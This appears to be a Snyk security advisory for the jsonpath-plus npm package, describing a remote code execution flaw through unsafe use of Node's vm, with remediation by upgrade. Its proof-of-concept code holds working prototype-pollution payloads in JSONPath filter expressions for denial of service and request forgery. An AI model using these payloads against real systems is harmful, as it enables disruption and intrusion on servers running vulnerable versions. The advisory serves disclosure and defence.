SNYK-JS-JSONPATHPLUS-7945884

## Overview [jsonpath-plus](https://www.npmjs.org/package/jsonpath-plus) is an A JS implementation of JSONPath with some additional operators Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of `vm` in Node. **Note:** There were several attempts to fix it in versions [10.0.0-10.1.0](https://github.com/JSONPath-Plus/JSONPath/compare/v9.0.0...v10.1.0) but it could still be exploited using [different payloads](https://github.com/JSONPath-Plus/JSONPath/issues/226). ## PoC ```js const { JSONPath } = require("jsonpath-plus"); const pathDoS = "$[?(con = constructor; dp = con.defineProperty; gopd = con.getOwnPropertyDescriptor; f = gopd(con, 'entries').value; alt = gopd(con.getPrototypeOf(f), 'apply'); dp(con.getPrototypeOf(_$_root.body), 'toString', alt);)]"; const pathSsrf = "$[?(con = constructor; dp = con.defineProperty; dp(con.prototype, 'referrer', _$_root.referrer); dp(con.prototype, 'method', _$_root.method); dp(con.prototype, 'body', _$_root.body);)]"; const result = JSONPath({ json: { referrer: { value: "http://authorized.com", writable: true, }, method: { value: "POST", writable: true, }, body: { value: "Hello, World!", writable: true, }, }, path: pathDoS, }); result.toString(); //DoS //fetch("http://localhost:3000"); // ssrf with possible privilege escalation via lateral movement ``` ## Remediation Upgrade `jsonpath-plus` to version 10.2.0 or higher. ## References - [GitHub Commit](https://github.com/JSONPath-Plus/JSONPath/commit/73ad72e5ee788d8287dea6e8283a3f16f63c9eb8) - [GitHub Diff](https://github.com/JSONPath-Plus/JSONPath/compare/v9.0.0...v10.1.0) - [GitHub Issue](https://github.com/JSONPath-Plus/JSONPath/issues/226)